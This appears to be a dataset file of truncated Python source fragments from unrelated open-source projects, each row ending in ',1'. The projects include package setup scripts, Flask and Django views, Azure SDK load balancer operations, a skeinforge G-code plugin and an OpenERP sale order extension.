distutils.core import setup except ImportError as msg : sys.stderr.write(""%s\n"" % msg) sys.stderr.write(""You need the DistUtils Python module.\nunder Debian, you may have to install the python-dev package.\nOf course, YMMV.\n"") sys.exit(-1) try : from PIL import Image except ImportError : sys.stderr.write(""You need the Python Imaging Library (aka PIL).\nYou can grab it from http://www.pythonware.com\n"") sys.exit(-1) sys.path.insert(0, ""pkpgpdls"") from pkpgpdls.version import __version__, __doc__ data_files = [] mofiles = glob.glob(os.sep.join([""po"", ""*"", ""*.mo""])) for mofile in mofiles : lang = mofile.split(os.sep)[1] directory = os.sep.join([""share"", ""locale"", lang, ""LC_MESSAGES""]) data_files.append((directory, [ mofile ])) docdir = ""share/doc/pkpgcounter"" docfiles = [""README"", ""COPYING"", ""BUGS"", ""CREDITS"", ""AUTHORS"", ""TODO""] data_files.append((docdir, docfiles)) if os.path.exists(""ChangeLog"") : data_files.append((docdir, [""ChangeLog""])) directory = os.sep.join([""share"", ""man"", ""man1""]) manpages = glob.glob(os.sep.join([""man"", ""*.1""])) data_files.append((directory, manpages)) setup(name = ""pkpgcounter"", version = __version__, license = ""GNU GPL"", description = __doc__, author = ""Jerome Alet"", author_email = ""alet@librelogiciel.com"", url = ""http://www.pykota.com/software/pkpgcounter/"", packages = [ ""pkpgpdls"" ], scripts = [ ""bin/pkpgcounter"" ], data_files = data_files) ",1 "cription = """" epilog = """" parser = argparse.ArgumentParser( description = description, formatter_class = argparse.RawDescriptionHelpFormatter, epilog = epilog) parser = argparse.ArgumentParser(description='Fit probability density functions to data-files') parser.add_argument('-r', '--reactants', help='Reactant structures in a coordinate file format.', action='store', type=str, nargs='+') parser.add_argument('-p', '--products', help='Product structures in a coordinate file format.', action='store', type=str, nargs='+') parser.add_argument('--print-level', help='Print-level - 0: quiet, 1: results and errors, 2: +warnings, 3: +progress, 4: excess, 5: EXTREME', action='store', choices = range(0,6), default=1, type=int) parser.add_argument('-f', '--format', help='File format', type=str, action='store', default='guess', choices=[""guess"",""xyz"",""pdb""]) parser.add_argument('-m', '--method', help='Method to use.\n \ rotate: Ignore bond order, align a single reactant and product molecule and match all atoms\n \ no-bond: Atom matching by rotation and atomic similarity\n \ full: Atom matching by rotation and bond similarity\n \ info: Information about molecule sybyl atom types, bond types and conjugated sub systems', choices = ['rotate', 'full', 'info', 'no-bond'], action='store', default='full') parser.add_argument('-o', '--output', help='Given a filename, output the reordered product in xyz format instead of printing to stdout', action='store', type=str, default=sys.stdout) parser.add_argument('--atomic-sybyl-weight', action='store', default=1, type=float) parser.add_argument('--bond-weight', action='store', default=1, type=float) # TODO output to folder # TODO output atom mapping oneline, save reordered products # TODO allow possibility to give pickle with reaction object # TODO output sybyl # TODO batch reactions # TODO output aromatic/conjugated subgroups args = parser.parse_args() # override setting defaults settings.update(args) ",1 ".join(os.path.abspath(__file__), os.pardir))) setup( name='django-isegory', version='0.1', packages=['isegory'], include_package_data=True, license='AGPL', description='A simple Django app to declare the provenance of a dataset.', long_description=README, url='http://github.com/jdelacueva/django-isegory/', author='Javier de la Cueva', author_email='jdelacueva@derecho-internet.org', classifiers=[ 'Environment :: Web Environment', 'Framework :: Django', 'Intended Audience :: Developers', 'License :: OSI Approved :: AGPL', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Topic :: Internet :: WWW/HTTP', 'Topic :: Internet :: WWW/HTTP :: Dynamic Content', ], ) ",1 "chasing.data.stages import Stage from purchasing.data.flows import Flow from purchasing.conductor.forms import FlowForm, NewFlowForm from purchasing.conductor.manager import blueprint @blueprint.route('/flow/new', methods=['GET', 'POST']) @requires_roles('conductor', 'admin', 'superadmin') def new_flow(): '''Create a new flow :status 200: Render the new flow template :status 302: Try to create a new flow using the :py:class:`~purchasing.conductor.forms.NewFlowForm`, redirect to the flows list view if successful ''' stages = Stage.choices_factory() form = NewFlowForm(stages=stages) if form.validate_on_submit(): stage_order = [] for entry in form.stage_order.entries: # try to evaluate the return value as an ID try: stage_id = int(entry.data) # otherwise it's a new stage except ValueError: new_stage = Stage.create(name=entry.data) stage_id = new_stage.id stage_order.append(stage_id) Flow.create(flow_name=form.flow_name.data, stage_order=stage_order) flash('Flow created successfully!', 'alert-success') return redirect(url_for('conductor.flows_list')) return render_template('conductor/flows/new.html', stages=stages, form=form) @blueprint.route('/flows') @requires_roles('conductor', 'admin', 'superadmin') def flows_list(): '''List all flows :status 200: Render the all flows list template ''' flows = Flow.query.order_by(Flow.flow_name).all() active, archived = [], [] for flow in flows: if flow.is_archived: archived.append(flow) else: active.append(flow) return render_template('conductor/flows/browse.html', active=active, archived=archived) @blueprint.route('/flow/', methods=['GET', 'POST']) @requires_roles('conductor', 'admin', 'superadmin') def flow_detail(flow_id): '''View/edit a flow's details :status 200: Render the flow edit template :status 302: Post changes to the a flow using the submitted :py:class:`~purchasing.conductor.forms.FlowForm`, redirect back to the current flow's detail page if successful ''' flow = Flow.query.get(flow_id) if flow: form = FlowForm(obj=flow) if form.validate_on_submit(): flow.update( flow_name=form.data['flow_name'], is_archived=form.data['is_archived'] ) flash('Flow successfully updated', 'alert-success') return redirect(url_for('conductor.flow_detail', flow_id=flow.id)) return render_template('conductor/flows/edit.html', form=form, flow=flow) abort(404) ",1 ". # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is regenerated. # -------------------------------------------------------------------------- from typing import Any, AsyncIterable, Callable, Dict, Generic, Optional, TypeVar, Union import warnings from azure.core.async_paging import AsyncItemPaged, AsyncList from azure.core.exceptions import ClientAuthenticationError, HttpResponseError, ResourceExistsError, ResourceNotFoundError, map_error from azure.core.pipeline import PipelineResponse from azure.core.pipeline.transport import AsyncHttpResponse, HttpRequest from azure.core.polling import AsyncLROPoller, AsyncNoPolling, AsyncPollingMethod from azure.mgmt.core.exceptions import ARMErrorFormat from azure.mgmt.core.polling.async_arm_polling import AsyncARMPolling from ... import models as _models T = TypeVar('T') ClsType = Optional[Callable[[PipelineResponse[HttpRequest, AsyncHttpResponse], T, Dict[str, Any]], Any]] class LoadBalancersOperations: """"""LoadBalancersOperations async operations. You should not instantiate this class directly. Instead, you should create a Client instance that instantiates it for you and attaches it as an attribute. :ivar models: Alias to model classes used in this operation group. :type models: ~azure.mgmt.network.v2016_09_01.models :param client: Client for service requests. :param config: Configuration of service client. :param serializer: An object model serializer. :param deserializer: An object model deserializer. """""" models = _models def __init__(self, client, config, serializer, deserializer) -> None: self._client = client self._serialize = serializer self._deserialize = deserializer self._config = config async def _delete_initial( self, resource_group_name: str, load_balancer_name: str, **kwargs: Any ) -> None: cls = kwargs.pop('cls', None) # type: ClsType[None] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = ""2016-09-01"" # Construct URL url = self._delete_initial.metadata['url'] # type: ignore path_format_arguments = { 'resourceGroupName': self._serialize.url(""resource_group_name"", resource_group_name, 'str'), 'loadBalancerName': self._serialize.url(""load_balancer_name"", load_balancer_name, 'str'), 'subscriptionId': self._serialize.url(""self._config.subscription_id"", self._config.subscription_id, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query(""api_version"", api_version, 'str') # Construct headers header_parameters = {} # type: Dict[str, Any] request = self._client.delete(url, query_parameters, header_parameters) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200, 202, 204]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) if cls: return cls(pipeline_response, None, {}) _delete_initial.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/loadBalancers/{loadBalancerName}'} # type: ignore async def begin_delete( self, resource_group_name: str, load_balancer_name: str, **kwargs: Any ) -> AsyncLROPoller[None]: """"""Deletes the specified load balancer. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param load_balancer_name: The name of the load balancer. :type load_balancer_name: str :keyword callable cls: A custom type or function that will be passed the direct response :keyword str continuation_token: A continuation token to restart a poller from a saved state. :keyword polling: By default, your polling method will be AsyncARMPolling. Pass in False for this operation to not poll, or pass in your own initialized polling object for a personal polling strategy. :paramtype polling: bool or ~azure.core.polling.AsyncPollingMethod :keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present. :return: An instance of AsyncLROPoller that returns either None or the result of cls(response) :rtype: ~azure.core.polling.AsyncLROPoller[None] :raises ~azure.core.exceptions.HttpResponseError: """""" polling = kwargs.pop('polling', True) # type: Union[bool, AsyncPollingMethod] cls = kwargs.pop('cls', None) # type: ClsType[None] lro_delay = kwargs.pop( 'polling_interval', self._config.polling_interval ) cont_token = kwargs.pop('continuation_token', None) # type: Optional[str] if cont_token is None: raw_result = await self._delete_initial( resource_group_name=resource_group_name, load_balancer_name=load_balancer_name, cls=lambda x,y,z: x, **kwargs ) kwargs.pop('error_map', None) kwargs.pop('content_type', None) def get_long_running_output(pipeline_response): if cls: return cls(pipeline_response, None, {}) path_format_arguments = { 'resourceGroupName': self._serialize.url(""resource_group_name"", resource_group_name, 'str'), 'loadBalancerName': self._serialize.url(""load_balancer_name"", load_balancer_name, 'str'), 'subscriptionId': self._serialize.url(""self._config.subscription_id"", self._config.subscription_id, 'str'), } if polling is True: polling_method = AsyncARMPolling(lro_delay, path_format_arguments=path_format_arguments, **kwargs) elif polling is False: polling_method = AsyncNoPolling() else: polling_method = polling if cont_token: return AsyncLROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output ) else: return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method) begin_delete.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/loadBalancers/{loadBalancerName}'} # type: ignore async def get( self, resource_group_name: str, load_balancer_name: str, expand: Optional[str] = None, **kwargs: Any ) -> ""_models.LoadBalancer"": """"""Gets the specified load balancer. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param load_balancer_name: The name of the load balancer. :type load_balancer_name: str :param expand: Expands referenced resources. :type expand: str :keyword callable cls: A custom type or function that will be passed the direct response :return: LoadBalancer, or the result of cls(response) :rtype: ~azure.mgmt.network.v2016_09_01.models.LoadBalancer :raises: ~azure.core.exceptions.HttpResponseError """""" cls = kwargs.pop('cls', None) # type: ClsType[""_models.LoadBalancer""] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = ""2016-09-01"" accept = ""application/json, text/json"" # Construct URL url = self.get.metadata['url'] # type: ignore path_format_arguments = { 'resourceGroupName': self._serialize.url(""resource_group_name"", resource_group_name, 'str'), 'loadBalancerName': self._serialize.url(""load_balancer_name"", load_balancer_name, 'str'), 'subscriptionId': self._serialize.url(""self._config.subscription_id"", self._config.subscription_id, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query(""api_version"", api_version, 'str') if expand is not None: query_parameters['$expand'] = self._serialize.query(""expand"", expand, 'str') # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Accept'] = self._serialize.header(""accept"", accept, 'str') request = self._client.get(url, query_parameters, header_parameters) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = self._deserialize('LoadBalancer', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized get.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/loadBalancers/{loadBalancerName}'} # type: ignore async def _create_or_update_initial( self, resource_group_name: str, load_balancer_name: str, parameters: ""_models.LoadBalancer"", **kwargs: Any ) -> ""_models.LoadBalancer"": cls = kwargs.pop('cls', None) # type: ClsType[""_models.LoadBalancer""] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = ""2016-09-01"" content_type = kwargs.pop(""content_type"", ""application/json"") accept = ""application/json, text/json"" # Construct URL url = self._create_or_update_initial.metadata['url'] # type: ignore path_format_arguments = { 'resourceGroupName': self._serialize.url(""resource_group_name"", resource_group_name, 'str'), 'loadBalancerName': self._serialize.url(""load_balancer_name"", load_balancer_name, 'str'), 'subscriptionId': self._serialize.url(""self._config.subscription_id"", self._config.subscription_id, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query(""api_version"", api_version, 'str') # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Content-Type'] = self._serialize.header(""content_type"", content_type, 'str') header_parameters['Accept'] = self._serialize.header(""accept"", accept, 'str') body_content_kwargs = {} # type: Dict[str, Any] body_content = self._serialize.body(parameters, 'LoadBalancer') body_content_kwargs['content'] = body_content request = self._client.put(url, query_parameters, header_parameters, **body_content_kwargs) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200, 201]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) if response.status_code == 200: deserialized = self._deserialize('LoadBalancer', pipeline_response) if response.status_code == 201: deserialized = self._deserialize('LoadBalancer', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized _create_or_update_initial.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/loadBalancers/{loadBalancerName}'} # type: ignore async def begin_create_or_update( self, resource_group_name: str, load_balancer_name: str, parameters: ""_models.LoadBalancer"", **kwargs: Any ) -> AsyncLROPoller[""_models.LoadBalancer""]: """"""Creates or updates a load balancer. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param load_balancer_name: The name of the load balancer. :type load_balancer_name: str :param parameters: Parameters supplied to the create or update load balancer operation. :type parameters: ~azure.mgmt.network.v2016_09_01.models.LoadBalancer :keyword callable cls: A custom type or function that will be passed the direct response :keyword str continuation_token: A continuation token to restart a poller from a saved state. :keyword polling: By default, your polling method will be AsyncARMPolling. Pass in False for this operation to not poll, or pass in your own initialized polling object for a personal polling strategy. :paramtype polling: bool or ~azure.core.polling.AsyncPollingMethod :keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present. :return: An instance of AsyncLROPoller that returns either LoadBalancer or the result of cls(response) :rtype: ~azure.core.polling.AsyncLROPoller[~azure.mgmt.network.v2016_09_01.models.LoadBalancer] :raises ~azure.core.exceptions.HttpResponseError: """""" polling = kwargs.pop('polling', True) # type: Union[bool, AsyncPollingMethod] cls = kwargs.pop('cls', None) # type: ClsType[""_models.LoadBalancer""] lro_delay = kwargs.pop( 'polling_interval', self._config.polling_interval ) cont_token = kwargs.pop('continuation_token', None) # type: Optional[str] if cont_token is None: raw_result = await self._create_or_update_initial( resource_group_name=resource_group_name, load_balancer_name=load_balancer_name, parameters=parameters, cls=lambda x,y,z: x, **kwargs ) kwargs.pop('error_map', None) kwargs.pop('content_type', None) def get_long_running_output(pipeline_response): deserialized = self._deserialize('LoadBalancer', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized path_format_arguments = { 'resourceGroupName': self._serialize.url(""resource_group_name"", resource_group_name, 'str'), 'loadBalancerName': self._serialize.url(""load_balancer_name"", load_balancer_name, 'str'), 'subscriptionId': self._serialize.url(""self._config.subscription_id"", self._config.subscription_id, 'str'), } if polling is True: polling_method = AsyncARMPolling(lro_delay, path_format_arguments=path_format_arguments, **kwargs) elif polling is False: polling_method = AsyncNoPolling() else: polling_method = polling if cont_token: return AsyncLROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output ) else: return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method) begin_create_or_update.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/loadBalancers/{loadBalancerName}'} # type: ignore def list_all( self, **kwargs: Any ) -> AsyncIterable[""_models.LoadBalancerListResult""]: """"""Gets all the load balancers in a subscription. :keyword callable cls: A custom type or function that will be passed the direct response :return: An iterator like instance of either LoadBalancerListResult or the result of cls(response) :rtype: ~azure.core.async_paging.AsyncItemPaged[~azure.mgmt.network.v2016_09_01.models.LoadBalancerListResult] :raises: ~azure.core.exceptions.HttpResponseError """""" cls = kwargs.pop('cls', None) # type: ClsType[""_models.LoadBalancerListResult""] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = ""2016-09-01"" accept = ""application/json, text/json"" def prepare_request(next_link=None): # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Accept'] = self._serialize.header(""accept"", accept, 'str') if not next_link: # Construct URL url = self.list_all.metadata['url'] # type: ignore path_format_arguments = { 'subscriptionId': self._serialize.url(""self._config.subscription_id"", self._config.subscription_id, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query(""api_version"", api_version, 'str') request = self._client.get(url, query_parameters, header_parameters) else: url = next_link query_parameters = {} # type: Dict[str, Any] request = self._client.get(url, query_parameters, header_parameters) return request async def extract_data(pipeline_response): deserialized = self._deserialize('LoadBalancerListResult', pipeline_response) list_of_elem = deserialized.value if cls: list_of_elem = cls(list_of_elem) return deserialized.next_link or None, AsyncList(list_of_elem) async def get_next(next_link=None): request = prepare_request(next_link) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) return pipeline_response return AsyncItemPaged( get_next, extract_data ) list_all.metadata = {'url': '/subscriptions/{subscriptionId}/providers/Microsoft.Network/loadBalancers'} # type: ignore def list( self, resource_group_name: str, **kwargs: Any ) -> AsyncIterable[""_models.LoadBalancerListResult""]: """"""Gets all the load balancers in a resource group. :param resource_group_name: The name of the resource group. :type resource_group_name: str :keyword callable cls: A custom type or function that will be passed the direct response :return: An iterator like instance of either LoadBalancerListResult or the result of cls(response) :rtype: ~azure.core.async_paging.AsyncItemPaged[~azure.mgmt.network.v2016_09_01.models.LoadBalancerListResult] :raises: ~azure.core.exceptions.HttpResponseError """""" cls = kwargs.pop('cls', None) # type: ClsType[""_models.LoadBalancerListResult""] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = ""2016-09-01"" accept = ""application/json, text/json"" def prepare_request(next_link=None): # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Accept'] = self._serialize.header(""accept"", accept, 'str') if not next_link: # Construct URL url = self.list.metadata['url'] # type: ignore path_format_arguments = { 'resourceGroupName': self._serialize.url(""resource_group_name"", resource_group_name, 'str'), 'subscriptionId': self._serialize.url(""self._config.subscription_id"", self._config.subscription_id, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query(""api_version"", api_version, 'str') request = self._client.get(url, query_parameters, header_parameters) else: url = next_link query_parameters = {} # type: Dict[str, Any] request = self._client.get(url, query_parameters, header_parameters) return request async def extract_data(pipeline_response): deserialized = self._deserialize('LoadBalancerListResult', pipeline_response) list_of_elem = deserialized.value if cls: list_of_elem = cls(list_of_elem) return deserialized.next_link or None, AsyncList(list_of_elem) async def get_next(next_link=None): request = prepare_request(next_link) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) return pipeline_response return AsyncItemPaged( get_next, extract_data ) list.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/loadBalancers'} # type: ignore ",1 "t): client_ip, is_routable = get_client_ip(request) if client_ip is not None: g = GeoIP2() try: record = g.city(client_ip) except GeoIP2Error: return None if record: city = record.get('city') or '' country = record.get('country') or '' delimeter = ', ' if city and country else '' return f'{city}{delimeter}{country}' return None ",1 "com/wiki/index.php/Skeinforge_Home ==Operation== The default 'Activate Home' checkbox is on. When it is on, the functions described below will work, when it is off, nothing will be done. ==Settings== ===Name of Home File=== Default: home.gcode At the beginning of a each layer, home will add the commands of a gcode script with the name of the ""Name of Home File"" setting, if one exists. Home does not care if the text file names are capitalized, but some file systems do not handle file name cases properly, so to be on the safe side you should give them lower case names. Home looks for those files in the alterations folder in the .skeinforge folder in the home directory. If it doesn't find the file it then looks in the alterations folder in the skeinforge_plugins folder. ==Examples== The following examples home the file Screw Holder Bottom.stl. The examples are run in a terminal in the folder which contains Screw Holder Bottom.stl and home.py. > python home.py This brings up the home dialog. > python home.py Screw Holder Bottom.stl The home tool is parsing the file: Screw Holder Bottom.stl .. The home tool has created the file: .. Screw Holder Bottom_home.gcode """""" from __future__ import absolute_import #Init has to be imported first because it has code to workaround the python bug where relative imports don't work if the module is imported as a main module. import __init__ from fabmetheus_utilities.fabmetheus_tools import fabmetheus_interpret from fabmetheus_utilities.vector3 import Vector3 from fabmetheus_utilities import archive from fabmetheus_utilities import euclidean from fabmetheus_utilities import gcodec from fabmetheus_utilities import settings from skeinforge_application.skeinforge_utilities import skeinforge_craft from skeinforge_application.skeinforge_utilities import skeinforge_polyfile from skeinforge_application.skeinforge_utilities import skeinforge_profile import math import os import sys __author__ = 'Enrique Perez (perez_enrique@yahoo.com)' __date__ = '$Date: 2008/21/04 $' __license__ = 'GNU Affero General Public License http://www.gnu.org/licenses/agpl.html' def getCraftedText( fileName, text, repository = None ): ""Home a gcode linear move file or text."" return getCraftedTextFromText(archive.getTextIfEmpty(fileName, text), repository) def getCraftedTextFromText( gcodeText, repository = None ): ""Home a gcode linear move text."" if gcodec.isProcedureDoneOrFileIsEmpty( gcodeText, 'home'): return gcodeText if repository == None: repository = settings.getReadRepository( HomeRepository() ) if not repository.activateHome.value: return gcodeText return HomeSkein().getCraftedGcode(gcodeText, repository) def getNewRepository(): 'Get new repository.' return HomeRepository() def writeOutput(fileName, shouldAnalyze=True): ""Home a gcode linear move file. Chain home the gcode if it is not already homed."" skeinforge_craft.writeChainTextWithNounMessage(fileName, 'home', shouldAnalyze) class HomeRepository: ""A class to handle the home settings."" def __init__(self): ""Set the default settings, execute title & settings fileName."" skeinforge_profile.addListsToCraftTypeRepository('skeinforge_application.skeinforge_plugins.craft_plugins.home.html', self) self.fileNameInput = settings.FileNameInput().getFromFileName( fabmetheus_interpret.getGNUTranslatorGcodeFileTypeTuples(), 'Open File for Home', self, '') self.openWikiManualHelpPage = settings.HelpPage().getOpenFromAbsolute('http://fabmetheus.crsndoo.com/wiki/index.php/Skeinforge_Home') self.activateHome = settings.BooleanSetting().getFromValue('Activate Home', self, True ) self.nameOfHomeFile = settings.StringSetting().getFromValue('Name of Home File:', self, 'home.gcode') self.executeTitle = 'Home' def execute(self): ""Home button has been clicked."" fileNames = skeinforge_polyfile.getFileOrDirectoryTypesUnmodifiedGcode(self.fileNameInput.value, fabmetheus_interpret.getImportPluginFileNames(), self.fileNameInput.wasCancelled) for fileName in fileNames: writeOutput(fileName) class HomeSkein: ""A class to home a skein of extrusions."" def __init__(self): self.distanceFeedRate = gcodec.DistanceFeedRate() self.extruderActive = False self.highestZ = None self.homeLines = [] self.layerCount = settings.LayerCount() self.lineIndex = 0 self.lines = None self.oldLocation = None self.shouldHome = False self.travelFeedRateMinute = 957.0 def addFloat( self, begin, end ): ""Add dive to the original height."" beginEndDistance = begin.distance(end) alongWay = self.absolutePerimeterWidth / beginEndDistance closeToEnd = euclidean.getIntermediateLocation( alongWay, end, begin ) closeToEnd.z = self.highestZ self.distanceFeedRate.addLine( self.distanceFeedRate.getLinearGcodeMovementWithFeedRate( self.travelFeedRateMinute, closeToEnd.dropAxis(), closeToEnd.z ) ) def addHomeTravel( self, splitLine ): ""Add the home travel gcode."" location = gcodec.getLocationFromSplitLine(self.oldLocation, splitLine) self.highestZ = max( self.highestZ, location.z ) if not self.shouldHome: return self.shouldHome = False if self.oldLocation == None: return if self.extruderActive: self.distanceFeedRate.addLine('M103') self.addHopUp( self.oldLocation ) self.distanceFeedRate.addLinesSetAbsoluteDistanceMode(self.homeLines) self.addHopUp( self.oldLocation ) self.addFloat( self.oldLocation, location ) if self.extruderActive: self.distanceFeedRate.addLine('M101') def addHopUp(self, location): ""Add hop to highest point."" locationUp = Vector3( location.x, location.y, self.highestZ ) self.distanceFeedRate.addLine( self.distanceFeedRate.getLinearGcodeMovementWithFeedRate( self.travelFeedRateMinute, locationUp.dropAxis(), locationUp.z ) ) def getCraftedGcode( self, gcodeText, repository ): ""Parse gcode text and store the home gcode."" self.repository = repository self.homeLines = settings.getAlterationFileLines(repository.nameOfHomeFile.value) if len(self.homeLines) < 1: return gcodeText self.lines = archive.getTextLines(gcodeText) self.parseInitialization( repository ) for self.lineIndex in xrange(self.lineIndex, len(self.lines)): line = self.lines[self.lineIndex] self.parseLine(line) return self.distanceFeedRate.output.getvalue() def parseInitialization( self, repository ): 'Parse gcode initialization and store the parameters.' for self.lineIndex in xrange(len(self.lines)): line = self.lines[self.lineIndex] splitLine = gcodec.getSplitLineBeforeBracketSemicolon(line) firstWord = gcodec.getFirstWord(splitLine) self.distanceFeedRate.parseSplitLine(firstWord, splitLine) if firstWord == '()': self.distanceFeedRate.addTagBracketedProcedure('home') return elif firstWord == '(': self.absolutePerimeterWidth = abs(float(splitLine[1])) elif firstWord == '(': self.travelFeedRateMinute = 60.0 * float(splitLine[1]) self.distanceFeedRate.addLine(line) def parseLine(self, line): ""Parse a gcode line and add it to the bevel gcode."" splitLine = gcodec.getSplitLineBeforeBracketSemicolon(line) if len(splitLine) < 1: return firstWord = splitLine[0] if firstWord == 'G1': self.addHomeTravel(splitLine) self.oldLocation = gcodec.getLocationFromSplitLine(self.oldLocation, splitLine) elif firstWord == '(': self.layerCount.printProgressIncrement('home') if len(self.homeLines) > 0: self.shouldHome = True elif firstWord == 'M101': self.extruderActive = True elif firstWord == 'M103': self.extruderActive = False self.distanceFeedRate.addLine(line) def main(): ""Display the home dialog."" if len(sys.argv) > 1: writeOutput(' '.join(sys.argv[1 :])) else: settings.startMainLoopFromConstructor(getNewRepository()) if __name__ == ""__main__"": main() ",1 "onForm(forms.ModelForm): class Meta: model = Redirection fields = ('real_url', 'pseudo') # Pour récupérer des données cel apeut ce faire avec un POST # ou directement en donnant un objet du modele : #form = ArticleForm(instance=article) # article est bien entendu un objet d'Article quelconque dans la base de données # Le champs est ainsi préremplit. # Quand on a recu une bonne formeModele il suffit de save() pour la mettre en base",1 "to_int(args[0]) a = tuple(str_to_int(args[1])) return(l, a) def solve(args, verbose=False): (l, a) = proc_input(args) list_a = list(a) list_a.sort() max_dist = max(list_a[0] * 2, (l - list_a[-1]) * 2) for x in xrange(len(a) - 1): max_dist = max(max_dist, list_a[x + 1] - list_a[x]) if verbose: print max_dist / float(2) return max_dist / float(2) def test(): assert(str_to_int('1 2 3') == [ 1, 2, 3 ]) assert(proc_input([ '2 5', '2 5' ]) == (5, (2, 5))) assert(solve([ '2 5', '2 5' ]) == 2.0) assert(solve([ '4 5', '0 1 2 3' ]) == 2.0) assert(solve([ '7 15', '15 5 3 7 9 14 0' ]) == 2.5) if __name__ == '__main__': from sys import argv if argv.pop() == 'test': test() else: solve(list(fileinput.input()), verbose=True) ",1 "penERP Model : sale_order_line """""" _inherit = 'sale.order.line' _columns = { 'att_bro': fields.boolean('Attach Brochure', required=False, help=""""""If you check this option, the first attachment related to the product_id marked as brochure will be printed as extra info with sale order""""""), } class sale_order(osv.Model): """""" OpenERP Model : sale_order_line """""" _inherit = 'sale.order' def print_with_attachment(self, cr, user, ids, context={}): for o in self.browse(cr, user, ids, context): for ol in o.order_line: if ol.att_bro: print ""Im Here i will go to print %s "" % ol.name return True def __get_company_object(self, cr, uid): user = self.pool.get('res.users').browse(cr, uid, uid) print user if not user.company_id: raise except_osv(_('ERROR !'), _( 'There is no company configured for this user')) return user.company_id def _get_report_name(self, cr, uid, context): report = self.__get_company_object(cr, uid).sale_report_id if not report: rep_id = self.pool.get(""ir.actions.report.xml"").search( cr, uid, [('model', '=', 'sale.order'), ], order=""id"")[0] report = self.pool.get( ""ir.actions.report.xml"").browse(cr, uid, rep_id) return report.report_name def print_quotation(self, cr, uid, ids, context=None): pq = super(sale_order, self).print_quotation(cr,uid,ids, context) return {'type': 'ir.actions.report.xml', 'report_name': self._get_report_name(cr, uid, context), 'datas': pq['datas'], 'nodestroy': True} ",1 "elist IO: badis functions to read and parse a fortran file into python dictonary and write it back to a file The parser was adapted from: fortran-namelist on code.google with the following info: __author__ = 'Stephane Chamberland (stephane.chamberland@ec.gc.ca)' __version__ = '$Revision: 1.0 $'[11:-2] __date__ = '$Date: 2006/09/05 21:16:24 $' __copyright__ = 'Copyright (c) 2006 RPN' __license__ = 'LGPL' Recognizes files of the form: &namelistname opt1 = value1 ... / """""" from __future__ import print_function from we_file_io import WEFileIO, TestWEFileIO import unittest import numpy as np import os.path as path import sys import re import tempfile import os __author__ = 'E. Branlard ' class 